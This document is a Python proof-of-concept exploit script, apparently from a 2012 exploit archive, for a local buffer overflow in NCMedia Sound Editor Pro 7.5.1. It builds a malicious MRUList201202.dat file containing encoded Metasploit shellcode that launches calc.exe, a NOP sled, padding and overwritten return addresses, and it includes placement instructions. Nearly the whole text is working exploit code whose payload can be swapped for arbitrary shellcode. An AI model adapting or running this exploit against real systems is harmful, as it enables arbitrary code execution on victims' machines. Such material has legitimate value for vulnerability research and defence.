NCMedia Sound Editor Pro 7.5.1 Buffer Overflow

`#!/usr/bin/python  
  
# Exploit Title: NCMedia Sound Editor Pro v7.5.1 MRUList201202.dat File Handling Local Buffer Overflow  
# Version: 7.5.1  
# Date: 2012-08-07  
# Author: Julien Ahrens  
# Website: http://www.inshell.net  
# Software Link: http://www.soundeditorpro.com/  
# Tested on: Windows XP SP3 Professional German  
# Howto: Copy MRUList201202.dat to %appdata%\Sound Editor Pro\ --> Launch app --> Click on "File" Menu  
  
from struct import pack  
  
file="MRUList201202.dat"  
  
# windows/exec CMD=calc.exe  
# Encoder: x86/shikata_ga_nai  
# powered by Metasploit  
# msfpayload windows/exec CMD=calc.exe R | msfencode -b '\x00\x0d\x0a'  
  
shellcode = ("\xd9\xc7\xba\x2d\xdd\x15\x6d\xd9\x74\x24\xf4\x58\x29\xc9" +  
"\xb1\x33\x31\x50\x17\x03\x50\x17\x83\xed\xd9\xf7\x98\x11" +  
"\x09\x7e\x62\xe9\xca\xe1\xea\x0c\xfb\x33\x88\x45\xae\x83" +  
"\xda\x0b\x43\x6f\x8e\xbf\xd0\x1d\x07\xb0\x51\xab\x71\xff" +  
"\x62\x1d\xbe\x53\xa0\x3f\x42\xa9\xf5\x9f\x7b\x62\x08\xe1" +  
"\xbc\x9e\xe3\xb3\x15\xd5\x56\x24\x11\xab\x6a\x45\xf5\xa0" +  
"\xd3\x3d\x70\x76\xa7\xf7\x7b\xa6\x18\x83\x34\x5e\x12\xcb" +  
"\xe4\x5f\xf7\x0f\xd8\x16\x7c\xfb\xaa\xa9\x54\x35\x52\x98" +  
"\x98\x9a\x6d\x15\x15\xe2\xaa\x91\xc6\x91\xc0\xe2\x7b\xa2" +  
"\x12\x99\xa7\x27\x87\x39\x23\x9f\x63\xb8\xe0\x46\xe7\xb6" +  
"\x4d\x0c\xaf\xda\x50\xc1\xdb\xe6\xd9\xe4\x0b\x6f\x99\xc2" +  
"\x8f\x34\x79\x6a\x89\x90\x2c\x93\xc9\x7c\x90\x31\x81\x6e" +  
"\xc5\x40\xc8\xe4\x18\xc0\x76\x41\x1a\xda\x78\xe1\x73\xeb" +  
"\xf3\x6e\x03\xf4\xd1\xcb\xfb\xbe\x78\x7d\x94\x66\xe9\x3c" +  
"\xf9\x98\xc7\x02\x04\x1b\xe2\xfa\xf3\x03\x87\xff\xb8\x83" +  
"\x7b\x8d\xd1\x61\x7c\x22\xd1\xa3\x1f\xa5\x41\x2f\xce\x40" +  
"\xe2\xca\x0e")  
  
junk1="\x41" * 12  
nopsled="\x90" * 20  
junk2="\x42" * (4108 - len(shellcode) - len(nopsled))  
eip=pack('<L',0x004d893e) # ADD ESP,404 # POP EDI # POP ESI # RETN from SoundEditorPro.exe  
esp=pack('<L',0x7e8236d9) # CALL ESP from shell32.dll  
  
poc=junk1 + esp + nopsled + shellcode + junk2 + eip  
  
try:  
print "[*] Creating exploit file...\n"  
writeFile = open (file, "w")  
writeFile.write( poc )  
writeFile.close()  
print "[*] File successfully created!"  
except:  
print "[!] Error while creating file!"  
  
`